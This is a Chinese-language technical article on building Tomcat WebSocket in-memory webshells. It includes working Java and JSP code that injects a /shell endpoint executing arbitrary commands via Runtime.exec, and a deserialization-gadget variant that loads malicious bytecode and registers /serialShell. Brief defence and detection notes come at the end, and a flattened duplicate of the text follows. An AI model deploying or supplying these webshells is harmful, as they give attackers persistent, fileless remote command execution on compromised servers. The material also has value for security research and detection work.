Tomct-WebSocket内存马
字数 1104 2025-08-06 08:35:03

Tomcat WebSocket内存马技术分析与实现

0x00 WebSocket协议基础

WebSocket核心特性

  • 全双工通信:允许客户端和服务器同时发送和接收数据
  • 持久连接:建立后保持打开状态,不同于HTTP的短连接
  • 低开销:头部信息较小,减少数据传输负担
  • 协议切换:通过HTTP握手后升级为WebSocket协议
  • 安全支持:支持TLS/SSL加密(wss://)

与HTTP协议对比

特性 HTTP WebSocket
连接方式 短连接 持久连接
通信模式 请求-响应 全双工双向通信
头部大小 较大 较小
端口 80/443 复用80/443

0x01 Tomcat WebSocket实现机制

环境要求

  • Tomcat 7+版本支持
  • 依赖jar包:
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-websocket</artifactId>
    <version>8.5.73</version>
</dependency>

两种实现方式

1. 注解方式(@ServerEndpoint)

@ServerEndpoint("/example")
public class AnnotatedEndpoint {
    @OnMessage
    public String onMessage(String message) {
        return "Echo: " + message;
    }
}

2. 编程方式(继承Endpoint)

public class ProgrammaticEndpoint extends Endpoint {
    @Override
    public void onOpen(Session session, EndpointConfig config) {
        session.addMessageHandler(new MessageHandler.Whole<String>() {
            @Override
            public void onMessage(String message) {
                try {
                    session.getBasicRemote().sendText("Received: " + message);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        });
    }
}

注册端点

通过ServletContextListener实现自动注册:

public class WsConfig implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        ServerContainer container = (ServerContainer) sce.getServletContext()
            .getAttribute("javax.websocket.server.ServerContainer");
        
        ServerEndpointConfig config = ServerEndpointConfig.Builder
            .create(ProgrammaticEndpoint.class, "/programmatic")
            .build();
            
        try {
            container.addEndpoint(config);
        } catch (DeploymentException e) {
            e.printStackTrace();
        }
    }
}

0x02 WebSocket内存马实现

JSP注入方式

<%@ page import="javax.websocket.*, javax.websocket.server.*, java.io.*" %>
<%!
public static class WsMemShell extends Endpoint {
    private Session session;
    
    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        session.addMessageHandler(new MessageHandler.Whole<String>() {
            @Override
            public void onMessage(String cmd) {
                try {
                    Process p = Runtime.getRuntime().exec(cmd);
                    BufferedReader reader = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = reader.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    p.waitFor();
                    session.getBasicRemote().sendText(sb.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });
    }
}
%>

<%
ServerContainer container = (ServerContainer) request.getServletContext()
    .getAttribute("javax.websocket.server.ServerContainer");
    
ServerEndpointConfig config = ServerEndpointConfig.Builder
    .create(WsMemShell.class, "/shell")
    .build();
    
try {
    container.addEndpoint(config);
    out.println("WebSocket内存马注入成功!");
} catch (Exception e) {
    out.println("注入失败: " + e.getMessage());
}
%>

反序列化注入方式

public class WsSerializedShell extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            // 预编译的恶意Endpoint类字节码
            byte[] endpointBytes = new byte[]{-54, -2, -70, -66, ...};
            
            // 动态加载类
            Method defineClass = ClassLoader.class.getDeclaredMethod(
                "defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            
            Class endpointClass = (Class) defineClass.invoke(
                Thread.currentThread().getContextClassLoader(),
                endpointBytes, 0, endpointBytes.length);
            
            // 获取ServerContainer并注册端点
            ServerContainer container = (ServerContainer) ((WebappClassLoaderBase)
                Thread.currentThread().getContextClassLoader())
                .getResources().getContext()
                .getServletContext()
                .getAttribute("javax.websocket.server.ServerContainer");
                
            container.addEndpoint(ServerEndpointConfig.Builder
                .create(endpointClass, "/serialShell")
                .build());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, 
        SerializationHandler handler) {}
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {}
}

0x03 Tomcat WebSocket核心机制分析

初始化流程

  1. WsSci入口:Tomcat通过org.apache.tomcat.websocket.server.WsSci类初始化WebSocket
  2. 容器创建:初始化WsServerContainer并存入ServletContext属性
  3. 端点扫描:分类处理三种WebSocket实现:
    • @ServerEndpoint注解类
    • Endpoint子类
    • ServerApplicationConfig实现类

关键方法调用链

StandardContext.startInternal()
  → WsSci.onStartup()
    → WsServerContainer.init()
    → 分类处理端点类
    → WsServerContainer.addEndpoint()

端点注册核心逻辑

// WsServerContainer.addEndpoint()关键代码
public void addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo) {
    // 1. 获取路径并创建URI模板
    String path = sec.getPath();
    UriTemplate uriTemplate = new UriTemplate(path);
    
    // 2. 处理方法映射(POJO方式)
    PojoMethodMapping methodMapping = new PojoMethodMapping(
        sec.getEndpointClass(), sec.getDecoders(), path, instanceManager);
    
    // 3. 根据URI参数情况选择不同存储结构
    if (uriTemplate.hasParameters()) {
        // 使用ConcurrentSkipListMap存储带参数的URI
        ConcurrentSkipListMap<String,TemplatePathMatch> templateMatches = ...;
        templateMatches.put(uriTemplate.getNormalizedPath(), 
            new TemplatePathMatch(sec, uriTemplate, fromAnnotatedPojo));
    } else {
        // 使用普通Map存储精确匹配的URI
        configExactMatchMap.put(path, 
            new ExactPathMatch(sec, fromAnnotatedPojo));
    }
}

0x04 防御与检测

防御措施

  1. 禁用不必要的WebSocket支持
    <Context>
        <ContainerSciFilter>
            <Filter className="org.apache.tomcat.websocket.server.WsSci"/>
        </ContainerSciFilter>
    </Context>
    
  2. 严格权限控制:限制动态类加载和反射操作
  3. 输入验证:对所有WebSocket消息进行严格验证

检测方法

  1. 检查异常端点
    ServerContainer container = (ServerContainer) servletContext
        .getAttribute("javax.websocket.server.ServerContainer");
    // 检查container中的注册端点
    
  2. 监控内存类:检测动态加载的类
  3. 流量分析:识别异常的WebSocket通信模式

0x05 参考资源

  1. WebSocket协议RFC 6455
  2. Tomcat WebSocket文档
  3. Java WebSocket API规范
Tomcat WebSocket内存马技术分析与实现 0x00 WebSocket协议基础 WebSocket核心特性 全双工通信 :允许客户端和服务器同时发送和接收数据 持久连接 :建立后保持打开状态,不同于HTTP的短连接 低开销 :头部信息较小,减少数据传输负担 协议切换 :通过HTTP握手后升级为WebSocket协议 安全支持 :支持TLS/SSL加密(wss://) 与HTTP协议对比 | 特性 | HTTP | WebSocket | |------------|--------------|----------------| | 连接方式 | 短连接 | 持久连接 | | 通信模式 | 请求-响应 | 全双工双向通信 | | 头部大小 | 较大 | 较小 | | 端口 | 80/443 | 复用80/443 | 0x01 Tomcat WebSocket实现机制 环境要求 Tomcat 7+版本支持 依赖jar包: 两种实现方式 1. 注解方式(@ServerEndpoint) 2. 编程方式(继承Endpoint) 注册端点 通过ServletContextListener实现自动注册: 0x02 WebSocket内存马实现 JSP注入方式 反序列化注入方式 0x03 Tomcat WebSocket核心机制分析 初始化流程 WsSci入口 :Tomcat通过 org.apache.tomcat.websocket.server.WsSci 类初始化WebSocket 容器创建 :初始化 WsServerContainer 并存入ServletContext属性 端点扫描 :分类处理三种WebSocket实现: @ServerEndpoint 注解类 Endpoint 子类 ServerApplicationConfig 实现类 关键方法调用链 端点注册核心逻辑 0x04 防御与检测 防御措施 禁用不必要的WebSocket支持 : 严格权限控制 :限制动态类加载和反射操作 输入验证 :对所有WebSocket消息进行严格验证 检测方法 检查异常端点 : 监控内存类 :检测动态加载的类 流量分析 :识别异常的WebSocket通信模式 0x05 参考资源 WebSocket协议RFC 6455 Tomcat WebSocket文档 Java WebSocket API规范